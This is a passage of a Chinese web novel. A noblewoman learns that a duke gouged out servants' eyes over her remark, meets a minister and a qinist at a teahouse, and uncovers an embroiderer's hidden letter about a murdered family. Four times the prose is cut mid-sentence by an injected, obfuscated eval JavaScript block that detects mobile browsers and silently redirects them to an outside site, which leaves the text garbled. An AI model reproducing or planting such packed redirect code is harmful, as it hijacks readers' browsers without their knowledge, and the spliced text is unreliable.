“官场中人个个趋炎附势，本就再寻常不过了。”褚笑眉道，“你虽为侍郎，但目前根基未稳，他自然不怕得罪你。如今圣上年少，未亲大政，朝堂势力分为两派。一派名义上以国师为首，实则靖国公掌权，又有平远侯、吏部、刑部追随；一派以丞相为首，户部、兵部、工部、礼部皆投靠他。你就职于礼部，你那位尚书大人难道没逼着你表忠心？” “卢尚书自然是提过的，不过……”江铭顿了顿，徐徐垂下眼眸，“江某有些别的顾虑，不想与王丞相同党。” 褚笑眉道：“知道你们文人都清高得很。但若想在朝中站稳脚跟，需得择木而栖。” “不是为着这个……” “那是因为什么？”褚笑眉困惑道。 “没什么。”江铭轻轻叹了口气，“还是先问清楚这名乞儿的事吧。” 话说到这份上，褚笑眉已是仁至义尽了。他既不愿细说，她便也不再劝。 褚笑眉向那乞儿问道：“你是国公府的人？” 一听到“国公”二字，乞丐浑身重重一颤，声音发抖地否认：“小人……小人不是！小人什么都不知道！” “别怕，我们此番来寻你，就是来为你做主的。”叶渡轻声道，“你犯了什么错，竟被靖国公剜了眼扔出府？” 乞儿满面惊恐，连连摇头：“贵人许是寻错了人，小人真的不认识什么靖国公！” 他咬死了不肯承认，一时之间，叶渡也难以问出个前因后果。 江铭鸦睫缓缓低垂，投下一片细密的阴影。他略微沉吟，而后出言询问：“此事可与褚娘子有关？” 褚笑眉眼皮一跳，骤然望向他：“和我……有关？” 江铭解释道：“方才刘县尉威胁他时，提到了娘子。想必他们要隐瞒之事，是断然不可让娘子知晓的，故而我有此猜测。” “几位贵人别问了，”乞儿伏身往地上磕了个头，“小人真的不能说……” “那就是我猜对了。”江铭道，“今日褚娘子已经出面将你留下，无论你说与不说，靖国公都会认为你道出了真相，你再隐瞒下去也没有意义。” 乞儿的面色蓦地变得惨白，脸颊上的肉因紧张而僵硬着，轻微地抽搐起来。 江铭见他已有动摇的苗头，便知自己说到了要害，趁热打铁继续劝道：“所以，你不如告诉我们，究竟是怎么一回事。若果真是靖国公滥伤无辜，我会将你安顿好的。” 那乞丐几次三番欲要开口，却又把话咽了下去，就这样挣扎犹豫了许久。等他终于说话时，他的嗓音已涩得厉害：“小人从前……确是国公府的下人……” 他名叫孙六，原本于国公府中负责采买。靖国公性情暴戾，孙六在府上的这些年，已亲眼见过不少侍从被肆意打杀。 孙六处处谨言慎行，做事力臻完美，本以为只要足够尽心，就能安稳度日。不料灾祸还是降临到了他的头上…… 国公府的花厅中常备着的话本，乃是由他和另外几个小厮去书肆拣选的。因褚笑眉一句不喜欢，管家便命人将他们绑了起来，同他们说：“没用的东西！连挑个话本子这样简单的事儿都办不好。我看你们这双招子留着也没什么用，不如都剜了去吧。” 在惨烈的哀嚎声中，几人都被剜了眼，从国公府的后门扔了出去…… 褚笑眉听到这里，腿上不由得一软，向后踉跄了一步。江铭正欲伸手去扶，白虹已在身后托住她，支撑着她摇摇欲坠的身形。江铭蜷起指节，将手收回了袖中。 秋日的暖阳分明照在身上，却仿佛没有丝毫温度。褚笑眉只觉背生芒刺，沁出了细细密密的冷汗。 怪不得…… 怪不得人人都说靖国公残忍嗜杀，怪不得民间称他为“杀神”，怪不得阿爷阿娘提起他总是战战兢兢…… 她以为是旁人对他有所误解，原来一直被蒙在鼓里的，竟是她自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243992|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她在一阵头晕目眩中勉强稳住了身形，一把推开白虹，向街巷深处跑去：“别跟过来……让我静一静。” 她只是如实表述了自己的喜恶，若她知晓她的一句“不喜欢”，竟会将人害到如此田地，她一定不会这么说的。 不，正常人怎么会做出这种事——仅仅因为这点缘由，便要剜了人眼睛。 ……靳愿，根本就是个疯子。 与疯子一同作恶的，还有她。她与靳愿相识这么些年，只言片语间，不知定了多少人的生死。 恐惧、悔恨涌上她的心头，于是泪水也涌上她的眼眸。她用手背抹掉眼泪，面前有人递过来一方洁白的帕子。 她以为是白虹，下意识呵斥道：“连我的吩咐也不听了？不是说了让你别跟着……” 抬起眼帘时，撞入眸中的却是江铭那张瑰伟明秀的脸。 他绝艳的眉眼间隐有担忧，柔声唤她：“娘子……” “走开！”褚笑眉强行压下话音中的哭腔，抬手遮住了自己的脸。这般狼狈的模样，怎么偏偏被他看见？ 江铭将那方丝帕塞入她手中，有意移开了目光不去看她，轻声道：“第一次见娘子时，便觉得娘子很像我从前养过的一只猫……” “你好大的胆子！竟敢拿我同狸奴相比！”褚笑眉眉头一蹙，气冲冲地将那手帕扔到他脸上。 江铭好脾气地任由她发泄，将那帕子理好重新递给她：“我这般说，并非是存了轻视娘子之心。初见时，我抢了娘子的马，娘子冲我耀武扬威，说要如何如何惩治我。可最后，只轻飘飘地将此事揭过去了。” 他似是回忆起了什么，神情愈发柔软下来：“我从前那只猫儿，自小娇惯得很，稍惹得它不顺意，便要炸着毛哈气凶人。其实我却知晓，它总是收着利爪，从来不会真的将人挠伤。 “不过它确实伤害过一些性命。它喜欢在院中扑蝴蝶，那些脆弱的羽翼被它摁几回，便再也扇动不起来了——但它只是一只猫儿，心智未开，无人教导，又怎会懂得这些？” 褚笑眉泛红的双眼瞪向他，从未歇的哭泣中挤出一句话来，尚且带着极重的鼻音：“你到底想说什么？” “靖国公将这些事瞒得密不透风，褚府之中亦无人敢提及，娘子无从知晓。”江铭浓黑的眸子望向她，似一汪包容万物的深潭，倒映着她的影子。“无心为恶，虽恶不罚。娘子不必为此苛责自己。” 褚笑眉的眼睫颤动了几下，似扑扇的蝶翅。她紧紧抿着唇，眸中泪光一晃，又滚落下来。而后她终于伸出手，接过了江铭递来的巾帕，拭去脸上的泪水。 “想不到堂堂状元郎，新上任的礼部侍郎大人，私底下竟然还是个猫奴。”褚笑眉道，“你那猫儿呢？没带来京城吗？” 江铭眸中似有情绪翻涌，又被他垂下眼帘极快地掩去。他微微勾了唇角，笑意却有些悲戚： “它早死了。” 15. 第 15 章 褚笑眉没料到会得到这样的回答，又问道：“是生了病，还是到了岁数？” “都不是。”江铭的呼吸微有些乱，他深吸一口气，强行将其压下，“它尚不满一岁，正是活泼好动的年纪，我闲暇时，总会花些时间陪伴它。父亲怕我玩物丧志，担心这猫儿影响了我做文章……将它打死了。” 褚笑眉一怔。 她自小备受宠爱，整日贪图逸乐、游手好闲，她从未想过——在有些人的家里，竟连养只猫都是不被允许的。 她攥紧了手中被泪浸湿的丝帕，轻声询问：“你那时……很难过吧？” “也许吧，我记不清了。”江铭眸中暗色翻涌，最终又归于平静，“好在是实现了父亲的期望，一举登第。” 二人静默良久，直到那帕子已被褚笑眉的掌心捂得滚烫，她终于开口：“与江侍郎相识已有些时日了，我还未道过我的姓名——我叫褚笑眉。” “褚笑眉？”清越的嗓音将这个名字重复了一遍，他官话说得极好，却带了些许吴地的韵味，听得人耳朵发酥。“真是个好名字。常生欢喜，举案齐眉。” 江铭要将那乞儿带走安置，几人正要离开，褚笑眉看着周围荒凉破败的房屋，忽地察觉到了异样：“江侍郎此前同我说，你是路过此处？” “……正是。” “此处是长安城的西南角，除开住在这儿的贫民外，鲜少有人涉足。”褚笑眉目光灼灼，似要探究出个所以然来。“宫城、礼部、江宅，皆离此极远；江侍郎无论是上朝还是上衙，都不可能走这边。那你究竟是怎么路过的？” “什么都瞒不过娘子。”江铭低低叹了口气，略有些不自在地别过了脸，“娘子在护国寺丢的那只荷包，我承诺过要帮忙寻回，近日一直在四处打听。昨夜我收到了一封信，信上说此处会有线索……没想到虽没找到荷包，倒是遇见了娘子。” “谁给的信？” “不知道。”江铭道，“我那时正在书房中处理公务，一抬头就在窗边看到了那信。问过府里的下人了，都说没看见是谁放的。信末倒是留了个署名……” 褚笑眉接口道：“不会是‘朔风’吧？” 江铭眼睫一抬，骤然望向她：“娘子如何知晓？” 叶渡道：“这已经朔风女侠留下的第三封信了。” 二人将韩大娘、叶渡收到信的事，叙述与他听。 江铭听完，略微思量片刻，而后道：“我先将孙六带回，派人将他安顿好。酉时我们于云间楼再见，我会带上‘朔风’留与我的那封信，叶少侠也请带上你那一封。我们比对一番，看是否确为同一人的字迹。” 云间楼是京中名气极大的茶楼之一，位于清漪河边。若说奢靡华美的八珍居，是豪门贵胄最爱光顾的酒楼；那这清幽雅致的云间楼，便是文人相聚、鸿儒谈笑的去处。 甫一踏进楼中，淡淡的檀木香便扑鼻而来，抚平了浮躁的心绪。举目四望，只见窗棂间错雕着梅兰竹菊的纹样，墙上悬着的俱是书画大家的真迹，架上陈列的古董文玩皆为珍品。 不似其他的茶馆喧嚣不已，此处没有说书人讲着那些老掉牙的故事，只有京中成名的乐师垂帘献艺。今日登台的是一位琴师，半垂的纱帘遮住了他的面容，仅能看见他拨弄琴弦的清瘦手指。他的手生得极为好看，肤色白皙，唯有骨节处泛着些微的红色。 他奏的是一曲阳春白雪，褚笑眉虽不通音律，仍旧觉得好听，忍不住为之驻足。她偏过头，向婢女吩咐道：“这人琴弹得不错。打听打听是谁，回头叫到我们府上演奏几曲。” 白虹前去询问，片刻后回来复命时，身后还跟着一位中年人。 只听那中年人道：“小人是云间楼的老板。娘子所问的那位，乃是如今长安城中的头号琴师——孟珵。他性子执拗，不肯轻易献奏，说‘琴只愿弹与知音听’，恐怕不会同意去娘子府上。” 褚笑眉问道：“既如此自命清高，又为何会在你这云间楼中卖艺？” “并非是卖艺。”中年人道，“孟先生在此弹琴，不收取分毫报酬。只不过是因为他年少落魄时，小人曾给予他一饭之恩，他是来报恩的。” 白虹皱眉道：“我们娘子是什么身份！让他到府上来弹琴，是他几辈子修来的福分！他竟敢这般不识抬举！” “还请娘子见谅。孟先生脾性向来如此，并非是对娘子不敬。此前相府也派人来请过，先生照样一口回绝。”中年人拱手赔罪，“娘子要是实在喜欢孟先生的琴艺，小人可为娘子引见。若面谈之后，先生认为娘子是懂他琴音的知己，定会应允娘子的邀约。” 褚笑眉本就是随口一提，见此事如此麻烦，便也不再坚持：“算了，我又不通乐理……” “即便不通乐理，也未必不可引为知己。”清雅的声音从转角处传来，那是一名身着月白色长衫的男子，约莫二十岁出头的年纪；墨发以白玉冠束起，眉目如画、玉骨清秀。他怀中抱着一尾琴，以杉木制成，漆以纯鹿角霜灰，正徐徐步向褚笑眉。 中年人连忙道：“这位就是孟先生。” “孟先生若是愿意献奏，就将住处告知我的侍婢吧，需要时我会遣人上门去接。”褚笑眉道，“我还与人有约，就不同先生多说了。” 见她抬步欲走，并无丝毫留恋，孟珵问道：“娘子不记得我了？” 褚笑眉困惑地睨他一眼：“我们见过？” 孟珵不死心地追问：“……也不记得这琴？” 褚笑眉的语气中已隐隐有些不耐烦：“还请孟先生把话说明白些，我该记得什么？” “没什么。”孟珵的喉结滚动了一下，声音发涩，“打扰娘子了。” 因在楼下耽搁了一阵，褚笑眉迈入雅室时，较约定的时辰迟了半炷香。 她从前与张菁会面，迟到早已是常事，谎话张口就来：“我走的那条道车马太多，故而来得晚了些。” 江铭垂眸看着案上的书信，眼帘都不掀一下，淡淡道：“原来是车马太多。我还以为是马儿同娘子一样，听到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250770|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴音就走不动道。” 褚笑眉有点心虚，但这雅室是在二楼，按理说不应当知晓楼下的事。她死鸭子嘴硬道：“咳，江侍郎这话是何意？” 叶渡道：“江侍郎吩咐了小二，让把茶温着，等姑娘来了再上。小二刚刚来过，说姑娘人已到了，正在楼下同琴师闲聊，问我们这茶是上还是不上。” 谎言被人当面拆穿，褚笑眉尴尬得恨不得找个地缝钻进去。她屈指绞紧了自己的衣袖，生硬地转移话题：“信上的字迹你们比对完了吗？” “比对过了，”江铭的声音听起来云淡风轻，却不如平常温和，似有些沉静的冷意，“确是同一人所写。” 褚笑眉理了理裙摆，在他身边落座：“还有什么别的线索吗？” 江铭道：“这位朔风女侠第一次现身，是在京郊破庙，送信给韩大娘，让她向叶少侠求助；第二次是在听风客栈，给叶少侠送信，为他筹谋行刺靖国公后的退路；至于第三次，就是在我府上了。” “这些我都知道了。” 江铭继续分析：“以地点来看，朔风女侠三次现身，分别是京郊破庙、听风客栈与我府中。也就是说，她在京城附近。 “以身手来看，她能潜入我府中，而不被任何人所察觉；叶少侠出门追踪，却仍旧跟丢了她。说明她武功极高，至少在叶少侠之上。 “以动机来看，她分明是想帮助刘三娘、韩大娘与孙六，所以她大概是某位极具正义感的侠士。 “但她并没有亲自出手，想来是她的身份不便暴露。她的所作所为，证明她对江湖和朝堂局势都颇为了解。我猜测，她也许出身于某个名门正派，这一宗派位于京城附近，又与朝堂有着千丝万缕的联系。” 听到这个结论，褚笑眉与叶渡对视一眼，异口同声地说出了一个答案：“逍遥宗！” “我也仅仅是推测而已，说的未必就对。”江铭道，“不过就目前的情形而言，这位朔风女侠似乎没有恶意。” 眼下也没有更多的线索了，叶渡道过别，返回客栈去收拾行李，打算回无我门。 褚笑眉也起身欲走，却见江铭为她添了盏茶，道：“娘子今日说了这么多话，想必也渴了，喝些热茶再走吧。” 方才谈论朔风女侠一事，分明都是他在说，她也没接几句话。褚笑眉莫名觉得，他指的似乎是她在楼下时，同琴师说的那些话。 她局促地坐了回去。 她原本想将那茶一饮而尽，好快些脱身，结果她一将那茶盏端起来，便知这个念头不可能实现了——这茶实在太烫，她只能一点点吹凉了，慢慢地抿下去。 她不知晓这是不是江铭故意要将她留下。 她觉得他似乎有话想说，可是等了许久，她盏中的热茶已抿下去四分之一了，他仍旧没有开口。 她心中愈发惶惶不安，掌心也沁出了薄汗。她终于按捺不住，视死如归地咬了咬牙，率先打破了这一室沉寂： “我只是听那人琴艺不错，随口多问了几句……” 16. 第 16 章 “哪里不错？”江铭终于问道。 “什么？”褚笑眉怔了一下，没反应过来他在问什么。 “他的琴艺，”江铭浓黑的眸子深深望向她，“哪里不错？” 褚笑眉蜷起手指，抠紧了茶盏的边缘：“我不通音律，也不是很说得上来……” “娘子不通音律，却会为他的琴音驻足，那看来确实是不错了。”江铭勾了勾唇角，分明是在笑，那笑意却未达眼底；反而比他面无表情时，更多几分冷意。 他拎起茶壶，往褚笑眉的茶盏里添茶，将她好不容易抿下去的那四分之一又加上了。 褚笑眉：“……” 江铭不再言语，一双绝艳的狐狸眼微微眯起，目光似有千钧，一瞬不移地落在她身上。 褚笑眉被他盯得头皮发麻，脑子飞速转动着，想寻个由头溜走。但她思索了半晌，只磕磕绊绊挤出一句：“我家中还有些事，急着回去……” “急着回去，听那琴师的琴音？”江铭悠悠接话。 “不是！”褚笑眉忙不迭反驳，“我还没想好要不要请他来呢……” “那等娘子决定好了，我递个帖子上门拜谒去。”江铭道，“能让娘子痴迷至此的琴音，江某也想品鉴一番。” “没到痴迷的地步……”褚笑眉一时紧张，愈发笨嘴拙舌地解释不清。她如坐针毡，下意识攥紧了衣裙，将织金的布料揉出涟漪般的褶皱。“就是单纯觉得好听……” 话音未落，江铭已眉头一蹙，墨黑的眉如远山般，朝眉心聚拢。 她慌忙改口：“也没有很好听……就……还行……凑合……” 一声轻笑自江铭唇间逸出，他收走了她面前的杯盏，将茶水浇到金蟾茶宠上。他骨节分明的手指扣住青瓷盏，水落香溢，动作间不急不徐，全然是出身书香门第、清贵世家的从容之态。 “那琴师方才弹的是《阳春白雪》，曲意颇为孤高自赏，应当并不合娘子的喜好。” 那盏要命的热茶总算是被他取走，想来这是能放她离开的意思了。 褚笑眉松了口气，如小鸡啄米般点头附和：“对对对，我确实不喜欢。” 江铭眼底笑意愈盛：“娘子若想听琴，可以来寻我——我也略通些琴艺。如《颐真》一曲之明朗欢快，《八极游》之放浪无羁，《春晓吟》之中正端方……娘子可任意拣选，挑些喜爱的调子。” 褚笑眉闻言，有些忿忿不平：“当初在八珍居时，我让你抚琴，你又不愿意。如今反倒来说这些……” “那时分明是娘子有意要折辱我。”江铭轻声解释，而后他又垂下眼帘，落败般叹了口气，“是我不好。若早知有今日，那日便该应下的。” 褚笑眉的脸颊有些发烫，她局促地站起身，低声嗫嚅：“我真的该回府了……” 江铭也不再拦她，只嘱咐道：“娘子路上当心。” 走出云间楼，步上了马车，褚笑眉的心脏仍在胸腔中狂跳，脸颊上的热度烧得她头脑发晕。 车轮辘辘而前，她挑起垂帘，让秋日的凉风灌入。帘上坠的水玉叮叮作响，搅得她心跳愈乱，难以平复。 她回到浮玉轩中，青简照旧吩咐下人烧水，准备伺候她沐浴。白虹过来问她道：“这一方帕子绣工虽精美，却是没法用的，奴婢将它收进库房中吧？” 褚笑眉垂眼看过去，见她拿了张手帕，满绣着牡丹群芳图，正是韩大娘临行前留下的。 今日所见之事骤然浮上她心头…… 孙六被靖国公剜了眼扔出府，而刘德升一口咬定他犯了偷窃罪，要将他缉拿回京兆府，明显就是想杀人灭口。 刘德升不过小小一介县尉，竟不怕得罪官职高出他许多的礼部侍郎，证明要他办这件事的人，更加位高权重。 至于幕后主使是谁——除了靖国公靳愿本人以外，还有谁既有动机、又有能力？ 靳愿既然能灭孙六的口，未必就不会逼韩大娘改口…… 所以，真相或许确如叶渡所言，韩大娘原本是来申冤的，只不过受了靖国公的威胁，才不得不改换了说辞。 那么这一方古怪的绣帕，也许不仅仅是离别赠礼这么简单…… 褚笑眉从白虹手中抢过了绣帕，对着烛光细细查看。 白虹一时错愕，似想说些什么：“娘子……” 褚笑眉道：“去门口守着，想办法别让青简进来。我这几日做的事，都是瞒着小臣的……” “阿姊都瞒了我什么？” 熟悉的幽沉嗓音自门外传来，褚笑眉悚然一惊，连忙将绣帕藏入袖中。她恶狠狠地瞪了白虹一眼，咬牙切齿地低声询问：“小臣来了，你怎么不提醒我一声？” 白虹欲哭无泪：“奴婢方才想说的，被娘子打断了。” 褚笑臣步步逼近，在自家阿姊身前停下，衣摆与她的裙摆交叠在一起。他撑在她座旁的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256735|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几上，身形自上而下笼住了她：“阿姊不会以为，只要不带青简同行，我就不知道你做了什么吧？” “无我门的叶渡少侠，新上任的礼部侍郎，”他一字一句，细细数给她听，“阿姊这几日，就是同他们厮混在一起？” “你又调查我？”褚笑眉恼羞成怒，“褚笑臣，我是你阿姊！谁家的阿弟会同你一样，对阿姊严加管束、指手画脚？我想做什么便做什么，还轮不到你来管！” 褚笑臣的脸色蓦地变得惨白，他侧身避开她，躬着腰剧烈咳嗽起来。他咳得极为厉害，双颊涌起病态的潮红，额上亦沁出了细密的冷汗。 褚笑眉心头一紧，连忙起身为他拍背顺气，急道：“怎么了？是不是又受了寒？你自小身子就不好，如今天愈发凉了，更得时时留心才是……” 她关切的话语响在他耳边，眉目间凝着浓浓的担忧。 褚笑臣终于止住了咳嗽，声音却仍有些虚弱：“我只是……担心阿姊。阿姊身份尊贵，又心性纯良，难保接近阿姊的人，不会怀有别的什么目的。” “京城之中谁敢对我动歪心思？”褚笑眉道，“若真有人如此胆大妄为，我就告诉你和阿爷，让你们为我出气！” “阿姊可要记得今日这番话。”褚笑臣低低笑出了声，“我会一直保护阿姊的。” 他话锋一转，继续道：“不过……阿姊还是少和这些不三不四的人来往。” 褚笑眉不明白，如果名门正派的叶渡少侠，以及朝廷要员礼部侍郎，都算是不三不四。那什么才是符合阿弟期许的、可以结交的人？ 她在心中默默表达了不满，却仍旧点头应下：“我知道了。” “阿姊往后出门，还是将青简带上吧。她心思细腻、又聪颖敏锐，有她在阿姊身边，我也能放心许多。”褚笑臣顿了顿，又道，“只要阿姊带上她，我不会再让她禀报阿姊的行踪，也绝对不会私下打探……我保证。” “那好吧。”褚笑眉妥协道。 好容易送走了自家阿弟，褚笑眉将手伸入袖中，去摸那一方被她藏起来的绣帕。 帕上的花样栩栩如生，绣线细密精致，设色清秀隽美，实在看不出有什么问题。最大的可疑之处，就在于这帕子是满绣…… 褚笑眉蓦地福至心灵，吩咐白虹道：“去取把剪子过来。” 她在灯下将绣线小心翼翼地挑开，只见那绣花之下，竟然藏着写在帕上的小字！ 17. 第 17 章 那帕上的蝇头小楷细细密密，排布得极为整齐，笔迹却有些发颤： “余与三娘，自幼相识……” 韩大娘年幼时，以为天地很小，整个世间都在苏州城中。 老旧的石桥勾连起的，是她与刘三娘的家。 夏日里蝉声很吵，蚊子总打不完。她们脱了鞋袜坐在河边，用脚去拨弄清凉的河水。 三娘偷摘了未熟的青梅，分给她尝。她咬了一口，酸得眉眼和鼻子都皱成了一团。 河中有货船经过，吃水极深。大人说，船上载的是绣品，要运到京城卖给贵人们的。 她摸过绣品，轻得像是一张纸。怎么压到船上，竟有了那样沉的分量呢？ 苏州的绣品是很值钱的。 三娘说，长大后要去学刺绣，用挣到的钱买好多好多熟了的青梅，请她吃个痛快。 “……同入绣坊，习苏绣之技。勤勉数载，积得薄资……” 她们一起长大，一起学了刺绣。 她还是没有出过苏州，却已然知晓，天地辽阔，不止一个苏州城了。 这件绣品是要给金陵的贵人的，那件绣品是要给洛阳的贵人的，还有某一件要尤为小心，是给京城的贵人的…… 愈来愈多的地名传入她耳中，一点点拼凑出她想象中的世间。 她不知道金陵的贵人、洛阳的贵人、京城的贵人都是什么样，但她见过苏州的贵人，想来总是差不离的。 她已有了些名气，被请到贵人府上去修补绣样，在园林胜景、花桥水阁中看迷了眼，走丢了路。贵人们衣裙上的绣花，是十几名绣娘熬红了眼赶制出来的。她绣过很多花样，却是第一次看见有人把它穿在身上，原来竟是这般雍容华美。 “……各自婚嫁，以为此生可安稳度之……” 绣技精湛的苏绣绣娘，在苏州一直是抢手的。 她与三娘到了婚配的年纪，家里的门坎都被说媒的人踏破了。 她们各自嫁了个好人家，孕育了子女，让孩子将对方认做干娘。 绣娘的活计极其辛苦，常有点灯熬油的时候，贵人的绣品又马虎不得。她的眼睛已不如从前好使了，好在还不影响刺绣；她的脖颈和后腰总是酸痛得厉害，她时常咬着牙强撑，绣完一日下来，疼出的冷汗能将里衣浸湿。 她没有什么好喊苦喊累的，绣坊中的每一个人，都同她一样。 她苏绣大师的名头愈响，便愈发频繁地受邀去贵人的府邸。贵人们整日吃茶闲聊、打牌看戏，好像什么都不必做，就能将她们精心制成的绣品穿在身上。 但她只是埋着头修补绣样，从来不敢抬头，不敢多问，甚至不敢多想。 她对如今的日子很满足了，嫁得合适的夫家，又有子女绕膝，衣食无忧。 “……然世事无常……” 经年劳累，她的身子愈发不好了，像是一株坏了根的树，看起来还绿阴如盖，实则已在渐渐枯朽凋零。 三娘走得比她早。下葬的那天，她没哭。 后来她走在路边，树上的青梅落下来，砸到了她的头。她怔怔地看着那颗青梅，想起年幼时总往她手中塞梅子的垂髫女童，想起入了绣坊后，买了一大兜子青梅递给她，说要兑现承诺的浅笑少女…… 她跪在地上，去捡那颗滚落的青梅，蓦地失声痛哭起来。 “……因一柄念女扇，忽遭横祸。靖国公觊觎此扇，竟屠三娘满门……” 她与三娘的最后一幅双面绣，是一柄团扇，扇面绣着百蝶扑芳、鱼戏莲叶——都是极好的意头，寓示着多子多福。 多子多福…… 三娘的女儿还未出嫁，没来得及开枝散叶，屠刀却已然落下，伐了个一干二净。 她有时觉得，三娘一家五口，性命是那样的轻。轻得只要贵人一句话，就如春日的冰雪般消融了； 她有时又觉得，他们的命是那样的重，重得沉甸甸压在她肩头。让她好似负着山岳，陷在泥淖中动弹不得，再没法拔出腿来，继续走属于自己的前路。 “……三娘于余，非独挚友，更似至亲。朝夕相处日久，逾于母女夫妻。闻此噩耗，余心愤懑难平……” 自三娘一家出事后，她走过最多的路，就是从家中到官衙的路。 先要朝西走，踏过三座石桥，拐到大道上；而后朝北走，路过热闹的西市，再往前走两条街；最后往东走，就是当地的府衙了。 这条路，她走了一遍又一遍；官府的大门，她望了一回又一回。 她夜里一闭上眼，眼前都能清晰浮现出府衙的一砖一瓦、一草一木。 衙门前立着两尊石狮，头门上挂着的楹联写着：铁面无私察奸纠邪，丹心怀仁护国佑民，横批为“法正风清”。门扇漆以庄重肃穆的玄黑色，门前的青砖照壁上雕刻着獬豸。 她以为，只要她足够耐心地等下去，总会等到官府为她们主持公道的。 “……然苏州官府，昏聩无能，不察真相，反以流寇作乱结案，敷衍了事……” 结案那一日，她跪伏在地，重重叩首，求官老爷彻查真凶。 ……怎么可能是流寇杀人？ 她条分缕析，将诸多线索一一厘清道明；字字铮铮，引得围观人群纷纷议论。 而后惊堂木一拍，官爷斥她扰乱公堂，要重打二十大板。 她被按在凳上，血和泪淌落下来，渗进木头的纹理中，让那木凳的色泽愈发晦暗深沉。 晕过去之前，她分明看见堂上“明镜高悬”的匾额，金光熠熠的大字亮得晃眼。 “……余奔走呼号，四处求援，昔日交好之显贵，皆闭门不纳，恐惹祸端……” 即便官府不应，总还是有别的路可走。 她是苏州最出色的绣娘，名扬天下的苏绣大师。多少高门贵女，为争她一幅绣品一掷千金，抢破了头去。 她捧着自己最精美的绣作，一一上门叩请。只要有人伸以援手，她愿倾囊相赠。 可曾经追捧着她的显贵们，如今却不谋而合地将她拒之门外、弃如敝履。仿佛她是个夺命的瘟神，唯恐避之而不及。 “……乃至夫君，性本怯懦，惧余累及家门，竟休余归家，逐出门庭……” 她门前时不时有官兵徘徊，想来是在监视她的一举一动。 她那没用的夫婿，整日战战兢兢；到了她面前，胆量和气概不知怎的又回来了，盛气凌人地对她指责辱骂。 他逼她放弃，告诉她势比人强；她偏要咬着牙坚持到底。 她没有等到属于三娘的公道，只等到了属于她的一纸休书。 “……余无他法，乃赴京城，欲叩阍鸣冤……” 年逾四十的弃妇，身上没什么钱财，揣着几样绣品，第一次走出了苏州城。 各地官府对她百般阻挠，她不得不隐瞒身份。尽管变卖绣作换了些银两，她却不敢租驿站的车马，大多数的路，都只能依靠自己的双腿走过去。 她从前总看见货船，满载着一船又一船的绣品，从苏州运往京城；如今她亦成了其中一只不系之舟，从苏州漂往京城。 谒京的路途千难万险，好似登天之阶。去京城的人，总是心有所求的。 旁人是为己求富贵，她是为友求公道。 原来这条路，竟是这般遥远。 “……岂知靖国公权势滔天，竟以余家人性命相要挟。余自知微贱，死不足惜，然父母亲人何辜？思前想后，唯含恨忍辱，作罢鸣冤之念……” 她前脚刚抵达京城，后脚靖国公的人就找上了她。 台上的烛火跳动摇曳，稍大的风穿堂而过，那微光便灭掉了。 隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272216|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶渡的房间里，传来窸窸窣窣的响动。他似乎在自行上药，不小心牵扯了伤处，疼得闷哼出声。 她在心里默默说着抱歉。 一两支灯烛拼力燃烧又能如何？灯油会燃尽，烛芯会烧完，终究是要熄灭的。 那遮天的手不肯移开，日月之光照不进来，天地间亘古长存的，只能是永无尽头的黑暗。 “……今余所求，非为三娘申冤雪恨，但望娘子能规劝国公，令其收敛暴行，勿再戕害无辜百姓……” 没人敢置全家人的性命于不顾，去公然对抗靖国公。 她身负挚友之仇，尚且做不到的事，又如何能奢求旁人做到？ 她走了这么远的路，所求之事，终究是一场空。 她真正走过了广阔天地，走过了传闻中的金陵、洛阳与长安。可茫茫世间，再没有她的去处。 “……余未能为三娘讨得公道，无颜苟活于世，唯有赴九泉之下，向故友谢罪耳。” 褚笑眉读完最后一句，暗道不好，向白虹吩咐：“韩大娘要寻短见，速速派人去寻她。” “娘子，距韩大娘辞行，已过去好几日了。恐怕她早就……” 说到这里，白虹便顿住了。剩下的半句话无需出口，听者已是心知肚明。 “是生是死，总要将人找到。” 白虹道：“但此事国公爷不欲让娘子知晓，娘子若出手干预，恐怕会牵累韩大娘的家人。” 